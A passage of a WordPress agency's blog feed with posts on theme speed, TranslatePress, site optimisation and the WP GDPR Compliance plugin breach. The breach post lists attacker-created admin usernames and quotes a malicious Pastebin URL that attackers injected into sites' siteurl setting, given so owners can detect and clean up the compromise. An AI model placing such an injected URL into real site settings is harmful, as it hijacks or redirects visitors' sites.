&lt;p&gt;If you need a faster WordPress website, don’t hesitate to get in touch with us and see what we can do to help.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>Astra Pro vs GeneratePress Premium</title><link>https://kiravo.net/blog/astra-generatepress-comparison/</link><guid isPermaLink="true">https://kiravo.net/blog/astra-generatepress-comparison/</guid><description>Astra Pro versus GeneratePress Premium compared on speed, customisation, and single-post layouts, with a clear pick at the end.</description><pubDate>Thu, 07 Feb 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’m a fan of Genesis Framework, been using it for 3-4 years now. But one of our clients told me to take a look at &lt;a href=&quot;https://generatepress.com&quot;&gt;GeneratePress&lt;/a&gt; or &lt;a href=&quot;https://wpastra.com&quot;&gt;Astra&lt;/a&gt;. They are great themes and are not as bloated as I might think.&lt;/p&gt;
&lt;p&gt;Usually, the themes catered to beginners come with hundreds of options. They are not very lightweight but let’s not assume anything and test.&lt;/p&gt;
&lt;p&gt;I’ve bought the licenses for both themes and set up some demo sites. I’ve imported some content from my wife’s fashion blog.&lt;/p&gt;
&lt;h2 id=&quot;initial-tests&quot;&gt;Initial tests&lt;/h2&gt;
&lt;p&gt;Using GTMetrix, the initial tests look like this:&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;using gtmetrix initial test GeneratePress performance&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1224&quot; height=&quot;550&quot; src=&quot;https://kiravo.net/_astro/d29f7cb5-generatepress-performance.XGlPblvn_lkHdH.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;GeneratePress performance&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;A WordPress install with GeneratePress Premium has 33 KB and makes 13 requests. The load time is 0.7 seconds (I chose the best time from 3 tests).&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;using gtmetrix initial test Astra performance&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;324&quot; src=&quot;https://kiravo.net/_astro/e2cc34c2-astra-performance-720x324.Es0FK9WI_Z15Ruyh.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Astra performance&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;A WordPress install with Astra Pro theme has 92 KB and makes 14 requests. The load time is 0.9 seconds (best out of 3 tests).&lt;/p&gt;
&lt;p&gt;Both are plain WordPress installs, no plugins, but I did install Gutenberg. I think it’s important to test with Gutenberg activated since it’s going to be part of WordPress.&lt;/p&gt;
&lt;p&gt;It looks like GeneratePress doesn’t load jQuery and that’s the reason it has less KB that Astra.&lt;/p&gt;
&lt;h2 id=&quot;building-a-real-website&quot;&gt;Building a real website&lt;/h2&gt;
&lt;p&gt;That’s great, but I want to see what’s going on when I try to build a real website.&lt;/p&gt;
&lt;p&gt;So I’m going to install more plugins, add images and try to build a masonry style website, just for the sake of it, to have a clear goal.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;The desired end result&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;1122&quot; height=&quot;1554&quot; src=&quot;https://kiravo.net/_astro/f2eb6699-testing-themes-demo.BU0NJkuW_Z19vhcE.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;The desired end result&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Also, I will make some small tweaks, like I would when building a real website. That means removing the &lt;a href=&quot;https://wordpress.org/plugins/disable-emojis/&quot;&gt;wp-emoji&lt;/a&gt; and &lt;a href=&quot;https://wordpress.org/plugins/disable-embeds/&quot;&gt;wp-embed&lt;/a&gt; JS, optimizing images and I’m using the &lt;a href=&quot;https://wordpress.org/plugins/litespeed-cache/&quot;&gt;Litespeed Cache plugin&lt;/a&gt; to optimize CSS and JS and to set up caching.&lt;/p&gt;
&lt;h2 id=&quot;customize&quot;&gt;Customize&lt;/h2&gt;
&lt;p&gt;Let’s start customizing, doing the exact same changes on both sites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;setup a logo and site icon&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;setup the layout&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;setup the colors&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I like the simplicity of working in the WordPress Customizer. It’s a great direction where WordPress and the WordPress themes are going, but it’s not 100% for me.&lt;/p&gt;
&lt;p&gt;I like to set up some things in the Customizer. But to design every aspect of the website there - too many mouse clicks, I can feel the Carpal Tunnel Syndrome kicking in.&lt;/p&gt;
&lt;p&gt;It feels redundant, I have to set the same color in 3 or 4 different places - the main menu, the sticky menu, the mobile menu.&lt;/p&gt;
&lt;p&gt;It’s the same menu, why so many clicks to set one color?&lt;/p&gt;
&lt;p&gt;I would be more comfortable in a text editor ( I use Atom) doing a search and replace for the HEX color code. But this proves that the themes, both Astra and GeneratePress, are not made for people like me who are comfortable in a text editor and know what HEX is.&lt;/p&gt;
&lt;h2 id=&quot;single-post&quot;&gt;Single post&lt;/h2&gt;
&lt;p&gt;They are made for people who want to build a website very easy, just by clicking around and setting options.&lt;/p&gt;
&lt;p&gt;And with this premise in mind, I think that Astra is better because I failed to accomplish what I wanted with GeneratePress.&lt;/p&gt;
&lt;p&gt;The thing missing from GeneratePress is the possibility to customize the single post content width. You have to add custom CSS to get it the way you want.&lt;/p&gt;
&lt;p&gt;This image below is how I wanted to look. Astra gets it almost right. I wanted a 700px width and there’s a limit in Astra to 768px - but it’s ok.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;astra single post&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;324&quot; src=&quot;https://kiravo.net/_astro/484c9a89-astra-single-post-content-width-720x324.8pjOOp7B_Z16624V.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Astra single post&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;In GeneratePress, on the other hand, the single post looks like the image below. The content spans to the full width of the container. You can’t set it in the Customizer, you have to add custom CSS.&lt;/p&gt;
&lt;p&gt;Also, Astra has better styling for the navigation as well as the single post navigation, its default styles are good enough for me. In GeneratePress I would need to add more CSS to style it the way I want.&lt;/p&gt;
&lt;p&gt;So, if the goal is to build a website without touching code, GeneratePress fails there.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;generatepress single post&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;324&quot; src=&quot;https://kiravo.net/_astro/cbac6fb3-generatepress-single-post-content-width-720x324.C8o7NLGI_Z1MSfD4.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;GeneratePress single post&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Astra also has better styling for the navigation as well as the single post navigation, its default styles are good enough for me. In GeneratePress I would need to add more CSS to style it.&lt;/p&gt;
&lt;p&gt;Overall, both are nice themes, great for beginners starting out with WordPress.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;From a user experience perspective, I am slightly inclined towards Astra Pro. It felt like less work for me to get it to look like I intended. It has more options and more fine controls, like spacing &amp;#x26; custom widths.&lt;/p&gt;
&lt;p&gt;The masonry effect is better in GeneratePress though. It changes from 3 columns to 2 then to 1 as the viewport becomes smaller. In Astra, it changes from 3 columns directly to 1 column. Minor detail, but when you want your website to be pixel-perfect it matters.&lt;/p&gt;
&lt;p&gt;From a performance perspective, GeneratePress seems better, it has smaller CSS and JS files and makes fewer requests.&lt;/p&gt;
&lt;p&gt;One thing that I don’t know how to evaluate is all that inline CSS that both themes generate, Astra more than GeneratePress.&lt;/p&gt;
&lt;p&gt;How much inline CSS is too much? If you have data about how this might impact speed, let me know in the comments section.&lt;/p&gt;
&lt;p&gt;I can’t see a clear winner, the results are conflicting. Sometimes Astra is faster than GeneratePress, sometimes is the other way around.&lt;/p&gt;
&lt;p&gt;The loading speed is pretty much the same for both test sites, around 1.1 seconds.&lt;/p&gt;
&lt;p&gt;I’ve tested with GTMetrix, Pingdom Tools and the Chrome DevTools (cache disabled) with both demo websites on the same shared hosting account.&lt;/p&gt;
&lt;p&gt;What do you think? What theme do you prefer?&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>Translate a WordPress site into multiple languages</title><link>https://kiravo.net/blog/how-to-translate-your-wordpress-site-into-multiple-languages/</link><guid isPermaLink="true">https://kiravo.net/blog/how-to-translate-your-wordpress-site-into-multiple-languages/</guid><description>How to add multilingual support to a WordPress site with TranslatePress, and why its editing flow beats the older string-table plugins.</description><pubDate>Tue, 13 Nov 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Funny enough, although I’ve been working with WordPress since 2009 I never needed to translate my websites into multiple languages.&lt;/p&gt;
&lt;p&gt;But I always got questions from clients to recommend a way to translate their sites. So I’ve tested the likes of WPML, Babble, qTranslate or Polylang but was never quite sold on any of them.&lt;/p&gt;
&lt;p&gt;In 2017 I saw a demo of TranslatePress at WordCamp Bucharest and I was immediately drawn to the ease of use. I knew &lt;a href=&quot;https://www.cozmoslabs.com/&quot;&gt;the team&lt;/a&gt; behind the plugin from WordCamp Romania 2014. They’re cool guys, and that gave me the nudge to test more in depth.&lt;/p&gt;
&lt;p&gt;TranslatePress is a WordPress plugin that lets you translate your site, or parts of it, easily – directly from the front-end. It works similarly to a visual page editor in that regard, I felt like working in the WordPress Customizer.&lt;/p&gt;
&lt;p&gt;Since more and more sites are catering to an international audience, you can’t afford not to have multilingual content anymore. In line with this, it’s no wonder the plugin’s popularity and financial gain have grown exponentially in such a short time.&lt;/p&gt;
&lt;p&gt;Put simply – if you’re translating your site, then you should, by all means, be using &lt;a href=&quot;https://translatepress.com/&quot;&gt;TranslatePress&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;install-and-setuptranslatepress&quot;&gt;Install and setup TranslatePress&lt;/h2&gt;
&lt;p&gt;You can install TranslatePress by searching for it in the WordPress Dashboard &gt; Plugins interface and installing it and activating it from there.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;install TranslatePress by searching for it in the WordPress Dashboard &amp;gt; Plugins interface&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2482&quot; height=&quot;1018&quot; src=&quot;https://kiravo.net/_astro/704a2ce9-install-translatepress.BlzLHT-v_Z1gaHb6.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;The setup process is straightforward:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Add a second language from the plugin settings: I’m using Romanian&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Click Translate Site to start translating your site content, directly from the front-end&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can also access the translation interface from the top admin bar. Once opened, hover over strings in the right side and translate them one by one.&lt;/p&gt;
&lt;p&gt;The blue icon strings are user-generated (like the page title or the content of a post), while green icon strings are gettext strings from your plugins and theme.&lt;/p&gt;
&lt;p&gt;You can access the TranslatePress plugin settings in the administrator area in the menu under &lt;strong&gt;Settings &gt; TranslatePress&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;It can also be accessed both from the frontend and administrator area from the &lt;strong&gt;Admin Bar&lt;/strong&gt; under the newly created button Translate Site, the Settings drop-down.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;translatepress Settings&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;2134&quot; height=&quot;1276&quot; src=&quot;https://kiravo.net/_astro/472b8949-setup-translatepress.CmFh1fzB_Z1wwFCP.webp&quot; &gt;&lt;/p&gt;
&lt;h3 id=&quot;set-default-language&quot;&gt;Set default language&lt;/h3&gt;
&lt;p&gt;You can select the original language from the drop-down on the plugin Settings page. By default, the language is inherited from the WordPress language that you can set up on install or change from &lt;strong&gt;Settings &gt; General&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;set-translation-languages&quot;&gt;Set translation languages&lt;/h3&gt;
&lt;p&gt;You can select the languages in which you wish to translate your website. Select the language from the drop-down and click the Add button then Save Changes.&lt;/p&gt;
&lt;p&gt;Actions you can perform on the languages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;edit the slug of the language that will appear in the URLs of the site from the Slug input&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;make the language active for the visitors of the site or only available for translation for the administrator by checking or unchecking the Activate checkbox (only in the PRO Version)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;remove the language by clicking the Remove link (this will not delete the existing translations from your database)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;rearrange the order of the languages with the drag-drop interface. This will determine the order in the language switcher floater and shortcode.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;display-languages-in-their-native-names&quot;&gt;Display languages in their native names&lt;/h3&gt;
&lt;p&gt;Select Yes if you want languages to display in their native names. Otherwise, they will be displayed in English.&lt;/p&gt;
&lt;h3 id=&quot;use-subdirectory-for-the-default-language&quot;&gt;Use subdirectory for the default language&lt;/h3&gt;
&lt;p&gt;Select Yes if you want to add the language slug in the URL for the default language. For example, &lt;a href=&quot;http://www.myhomepage.com/en/&quot;&gt;www.myhomepage.com/en/&lt;/a&gt; instead of &lt;a href=&quot;http://www.myhomepage.com&quot;&gt;www.myhomepage.com&lt;/a&gt; when visitors are viewing the site on its default language (EN).&lt;/p&gt;
&lt;p&gt;Instead of directing the user to a predefined language, you can also redirect them to their language using the Automatic Detection of User Language add-on.&lt;/p&gt;
&lt;h3 id=&quot;force-language-in-custom-links&quot;&gt;Force language in custom links&lt;/h3&gt;
&lt;p&gt;Select Yes if you want to force custom links without language encoding to add the language slug in the URL for the default language.&lt;/p&gt;
&lt;h3 id=&quot;google-translate&quot;&gt;Google Translate&lt;/h3&gt;
&lt;p&gt;Enable or disable the automatic translation of the site with Google Translate. Existing translations will be not be affected.&lt;/p&gt;
&lt;p&gt;Note: Not all languages support automatic translation. You should consult the &lt;a href=&quot;https://cloud.google.com/translate/docs/languages&quot;&gt;supported languages list&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;google-translate-api-key&quot;&gt;Google Translate API Key&lt;/h3&gt;
&lt;p&gt;Here you can enter the Google Translate API key. Visit &lt;a href=&quot;https://translatepress.com/docs/automatic-translation/generate-google-api-key/&quot;&gt;this link&lt;/a&gt; to see how you can set up an API key.&lt;/p&gt;
&lt;h3 id=&quot;language-switcher&quot;&gt;Language Switcher&lt;/h3&gt;
&lt;p&gt;You have three options to display language switchers on the site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Shortcode (Use the [language-switcher] shortcode on any page or widget.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Menu item (Go to Appearance &gt; Menus to add Language Switcher Languages in any menu.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Floating language selection (Have a floating dropdown following the user on every page.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For all the available language switchers you have the following options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Flags with Full Language Names (default)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Full Language Names&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Short Language Names&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Flags with Short Language Names&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Only Flags&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;translating-has-never-been-easier&quot;&gt;Translating has never been easier&lt;/h2&gt;
&lt;p&gt;That’s what I like about this plugin, you can translate directly on the page, and it’s so intuitive that any previous skills are not required. TranslatePress integrates itself into your existing theme settings, so not only you won’t have to change anything to use it, but there should be no conflicts with anything you’re already using.&lt;/p&gt;
&lt;p&gt;TranslatePress is also integrated with the popular &lt;a href=&quot;https://translate.google.com/&quot;&gt;Google Translate&lt;/a&gt;, and all you’ll need is a Google API key.&lt;/p&gt;
&lt;h3 id=&quot;paid-add-ons&quot;&gt;Paid add-ons&lt;/h3&gt;
&lt;p&gt;The plugin has a freemium model, you get the plugin for free and you can buy some premium add-ons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://translatepress.com/docs/addons/seo-pack/&quot;&gt;SEO pack&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://translatepress.com/docs/addons/translator-accounts/&quot;&gt;Multiple Languages Addon&lt;/a&gt; - Support for 221 languages Editorial Control&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://translatepress.com/docs/addons/translator-accounts/&quot;&gt;Translator Accounts Addon&lt;/a&gt; - Create or allow existing users to translate the site without admin rights.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://translatepress.com/docs/addons/browse-as-role/&quot;&gt;Browse As User Role Addon&lt;/a&gt; - View content that is visible to a particular user role.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://translatepress.com/docs/addons/navigate-based-language/&quot;&gt;Navigation Based on Language Addon&lt;/a&gt; - Configure different menu items for different languages.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://translatepress.com/docs/addons/automatic-user-language-detection/&quot;&gt;Automatic User Language Detection&lt;/a&gt; - Redirect visitors to their language preference&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pricing&quot;&gt;Pricing&lt;/h3&gt;
&lt;p&gt;The detailed pricing table with everything that each tier provides can be found on the &lt;a href=&quot;https://translatepress.com/pricing/&quot;&gt;official website&lt;/a&gt;.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>Security issues in the WP GDPR Compliance plugin</title><link>https://kiravo.net/blog/security-issues-wp-gdpr-compliance/</link><guid isPermaLink="true">https://kiravo.net/blog/security-issues-wp-gdpr-compliance/</guid><description>How attackers used a flaw in the WP GDPR Compliance plugin to create admin accounts, and how to clean up a site that was hit.</description><pubDate>Fri, 09 Nov 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last night we got an email from a friend saying he found some new users with administrator privileges on some of his WordPress websites and asked us to check it out.&lt;/p&gt;
&lt;p&gt;We started to investigate, and it seems that the websites had a thing in common - the &lt;a href=&quot;https://wordpress.org/plugins/wp-gdpr-compliance/&quot;&gt;WP GDPR Compliance&lt;/a&gt; plugin.&lt;/p&gt;
&lt;p&gt;It looks like there is a &lt;a href=&quot;https://www.wordfence.com/blog/2018/11/privilege-escalation-flaw-in-wp-gdpr-compliance-plugin-exploited-in-the-wild&quot;&gt;vulnerability in the plugin&lt;/a&gt; and there have been a series of attacks on sites using this plugin.&lt;/p&gt;
&lt;p&gt;There are different stages of infection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;administrator users are being created&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;files have been modified&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;redirection to Russian website&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We recommend you check whether new users with the name “&lt;strong&gt;t3trollherten&lt;/strong&gt;”, “&lt;strong&gt;t2trollherten&lt;/strong&gt;” or “&lt;strong&gt;trollherten&lt;/strong&gt;” have recently appeared on your site.&lt;/p&gt;
&lt;p&gt;After creating the users, attackers modified the files of other PHP scripts (plugins). For example, we found modified PHP files in the Akismet plugin folder.&lt;/p&gt;
&lt;p&gt;On some websites, we found this Pastebin URL in wp_options at siteurl.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://pastebin.com/raw/V8SVyu2P?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point the website starts to break, you get database connection errors or your website is redirected to another site, sometimes Russian.&lt;/p&gt;
&lt;h2 id=&quot;how-to-recover-from-the-hack&quot;&gt;How to recover from the hack&lt;/h2&gt;
&lt;p&gt;If there are no users you should be fine, your website was probably not attacked.&lt;/p&gt;
&lt;p&gt;To prevent that from happening update the WP GDPR Compliance plugin to the latest version, the developers have fixed the vulnerabilitiesies in the 1.4.3 release.&lt;/p&gt;
&lt;p&gt;Ideally, keep up-to-date all WordPress plugins and themes to prevent possible security issues like this.&lt;/p&gt;
&lt;p&gt;If you find these users, there’s a chance they didn’t get to infect the site but you can’t know for sure so it’s probably best to restore from a backup, then update the WP GDPR Compliance plugin.&lt;/p&gt;
&lt;p&gt;Also, if you have a security plugin like the Defender Pro, scan your WordPress instance to see if it’s clean.&lt;/p&gt;
&lt;p&gt;If you can’t restore or you don’t have a backup, you’ll have to clean the website manually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;delete the malicious users from the database&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;delete all PHP and JS files (only keep wp-content/uploads)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;reinstall WordPress and the themes and plugins you use&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to avoid these situations, consider switching from shared hosting to an expert WordPress hosting. None of our &lt;a href=&quot;https://kiravo.net/pricing/&quot;&gt;managed WordPress hosting&lt;/a&gt; customers were affected, all affected websites were on shared hosting.&lt;/p&gt;
&lt;p&gt;Not to say it is because of hosting but on managed hosting, you get proactive monitoring, managed updates, and you can avoid this type of situation.&lt;/p&gt;
&lt;p&gt;When we identified what was going on, we immediately updated the plugin on our clients’ websites that had the vulnerable version and performed an automated scan.&lt;/p&gt;
&lt;p&gt;We also have clients that host with us but we do not manage their websites, we don’t have access to their WordPress instances.&lt;/p&gt;
&lt;p&gt;So we search the server to find the wp-gdpr-compliance folder in order to identify the clients that used the plugin. We emailed them, notifying the security vulnerability with instructions on how to check if their websites were hacked.&lt;/p&gt;
&lt;p&gt;If you also need help, don’t hesitate to get in touch with us.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>Case study: blog optimisation</title><link>https://kiravo.net/blog/case-study-blog-optimization/</link><guid isPermaLink="true">https://kiravo.net/blog/case-study-blog-optimization/</guid><description>Before-and-after numbers from a WordPress optimisation we ran on a football fan blog, with the specific changes that produced them.</description><pubDate>Tue, 21 Aug 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://1923.ro/&quot;&gt;1923.ro&lt;/a&gt; is a fan site dedicated to the Rapid Bucharest football club. You can find news and updates about the team, interviews with some of the players and you can also buy fan-made t-shirts.&lt;/p&gt;
&lt;p&gt;Dragos (the site owner) has opted for our hosting solution to see if we can solve some problems he had with this blog, namely the appearance of the white screen, the so-called WSOD (white screen of death) which occurs quite frequently when using WordPress.&lt;/p&gt;
&lt;p&gt;WordPress white screen of death may be the result of several things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;WordPress reaches the limit of memory allocated to a PHP script&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;poorly written plugin or theme&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;a problem with server settings&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;unwanted characters in the theme functions.php or wp-config.php&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s see how we helped our football friends to have an error-free and faster WordPress blog.&lt;/p&gt;
&lt;h2 id=&quot;before&quot;&gt;Before&lt;/h2&gt;
&lt;p&gt;Before moving to our servers, the blog was loading in 3.6 seconds on average, had 108 requests and a page size of approximately 3800K of which 3404.5K were pictures.&lt;/p&gt;
&lt;p&gt;Google Page Speed Insights gave an 80/100 score with the following recommendations presented:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;optimize images&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;remove render-blocking Javascript and CSS in above-the-fold content&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;reduces server response time to under 200ms&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It was clear that the pictures were the main problem but also the server that was hosting the blog was not the best.&lt;/p&gt;
&lt;h2 id=&quot;blog-optimization&quot;&gt;Blog Optimization&lt;/h2&gt;
&lt;p&gt;We searched for very high-resolution pictures and resized them and used the Smushit plugin to optimize all photos on the site.&lt;/p&gt;
&lt;p&gt;We implemented Lazy Load - a WordPress plugin that loads gradually the images, which are displayed only when the user scroll.&lt;/p&gt;
&lt;p&gt;Now, instead of loading 3MB of photos, it’s only about 780K.&lt;/p&gt;
&lt;p&gt;We implemented a combination of page cache and database cache to make WordPress work less, consume fewer resources, serve pages faster and being able to sustain higher traffic.&lt;/p&gt;
&lt;h2 id=&quot;after&quot;&gt;After&lt;/h2&gt;
&lt;p&gt;After optimizing images, setting lazy load and cache implementation, we improved the loading speed of the blog to 1.4 seconds from 3.60 seconds as it was initially.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Improved loading speed of blog&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;900&quot; height=&quot;600&quot; src=&quot;https://kiravo.net/_astro/imbunatatire-viteza-incarcare-blog-1923.D7ZyWhJs_19ymgu.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Improved loading speed of blog&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;A new Google PageSpeed Insights ​​test shows a score of 92 /100.&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Google Page Speed ​​score improvement&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;900&quot; height=&quot;600&quot; src=&quot;https://kiravo.net/_astro/imbunatatire-scor-google-1923.DBlanNfT_ZUy46v.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Google Page Speed ​​score improvement&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Other recommendations&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Display excerpts and a thumbnail instead of full posts on archive pages.&lt;/p&gt;
&lt;p&gt;That would make the pages smaller (KB wise).&lt;/p&gt;
&lt;figure&gt;
&lt;p&gt;&lt;img alt=&quot;Performance WordPress Plugins&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;900&quot; height=&quot;600&quot; src=&quot;https://kiravo.net/_astro/performanta-pluginuri-wordpress-1923.BsOzI_wb_1Khjem.webp&quot; &gt;&lt;/p&gt;
&lt;figcaption&gt;
&lt;p&gt;Performance WordPress Plugins&lt;/p&gt;
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Another problem is related to the Facebook plugin, a plugin that adds some social features to the site and that has a negative impact - 90.6 % of the loading speed of the site.&lt;/p&gt;
&lt;p&gt;We think that this plugin was generating the errors but, unfortunately, almost all plugins that add Facebook comments that we tested had a negative impact on performance (some less, some more).&lt;/p&gt;
&lt;p&gt;As a general rule, from our personal experience with comment plugins, it’s best to stick with WordPress default comments - it may not look great, but at least it’s not sabotaging your website.&lt;/p&gt;
&lt;p&gt;There’s more in depth optimisation to be done, like r&lt;a href=&quot;https://wpdatatables.com/render-blocking-javascript-and-css/&quot;&gt;emoving render-blocking Javascript and CSS&lt;/a&gt; in above-the-fold content. If you build your website with a minimalist approach and don’t bloat it, this doesn’t make much of a difference but in some cases it might be worth the time to implement.&lt;/p&gt;
&lt;p&gt;That’s about it. If you need a performance audit and optimization, please get in touch.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>Manofmany.com simple optimization report</title><link>https://kiravo.net/blog/manofmany-optimization-report/</link><guid isPermaLink="true">https://kiravo.net/blog/manofmany-optimization-report/</guid><description>A short optimisation report on Manofmany.com: current load time, page weight, what&apos;s slowing it down, and the fixes that would help most.</description><pubDate>Wed, 28 Mar 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://manofmany.com/&quot;&gt;Manofmany.com&lt;/a&gt; is an Australian style magazine dedicated to men.&lt;/p&gt;
&lt;p&gt;Everyday the team posts cool stuff in style, gadgets, tech, etc.&lt;/p&gt;
&lt;p&gt;After a chat with them on Google+, we gave them this simple optimization report.&lt;/p&gt;
&lt;h2 id=&quot;loading-time&quot;&gt;Loading time&lt;/h2&gt;
&lt;p&gt;Different tools show different data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Chrome SEO toolbar - 7.43 sec&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pingdom Tools - 12.62 dec&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
